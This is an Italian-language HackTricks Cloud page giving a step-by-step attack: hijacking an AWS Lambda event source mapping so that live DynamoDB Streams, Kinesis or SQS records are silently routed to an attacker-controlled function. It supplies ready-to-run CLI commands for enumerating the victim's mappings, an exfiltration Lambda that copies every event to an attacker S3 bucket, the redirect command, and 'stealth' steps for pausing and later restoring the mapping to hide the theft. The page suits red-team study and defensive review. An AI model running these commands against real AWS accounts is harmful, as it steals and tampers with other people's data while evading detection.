AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Abusa di UpdateEventSourceMapping per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record provenienti da DynamoDB Streams, Kinesis, o SQS vengano consegnati a una funzione controllata dall'attaccante. Questo devia silenziosamente dati live senza toccare i producer o il codice della funzione originale.
Impact
- Deviare e leggere record live da stream/queue esistenti senza modificare le app producer o il codice della vittima.
- Possibile esfiltrazione di dati o manomissione della logica processando il traffico della vittima in una funzione rogue.
Required permissions
- lambda:ListEventSourceMappings
- lambda:GetEventSourceMapping
- lambda:UpdateEventSourceMapping
- Ability to deploy or reference an attacker-controlled Lambda (lambda:CreateFunctionor permission to use an existing one).
Steps
- Enumerate gli Event Source Mapping per la funzione della vittima
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- Preparare un receiver Lambda attacker-controlled (stessa regione; idealmente VPC/runtime simili)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Reindirizzare il mapping alla attacker function
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Genera un evento sulla sorgente in modo che il mapping si attivi (esempio: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- Verifica che la funzione attacker riceva il batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- Stealth opzionale
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Note:
- Per gli SQS ESMs, il ruolo di esecuzione della Lambda che elabora la coda necessita di sqs:ReceiveMessage,sqs:DeleteMessageesqs:GetQueueAttributes(policy gestita:AWSLambdaSQSQueueExecutionRole).
- L'ESM UUID rimane lo stesso; viene cambiato solo il suo FunctionArn, quindi i producers e gli source ARNs restano invariati.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud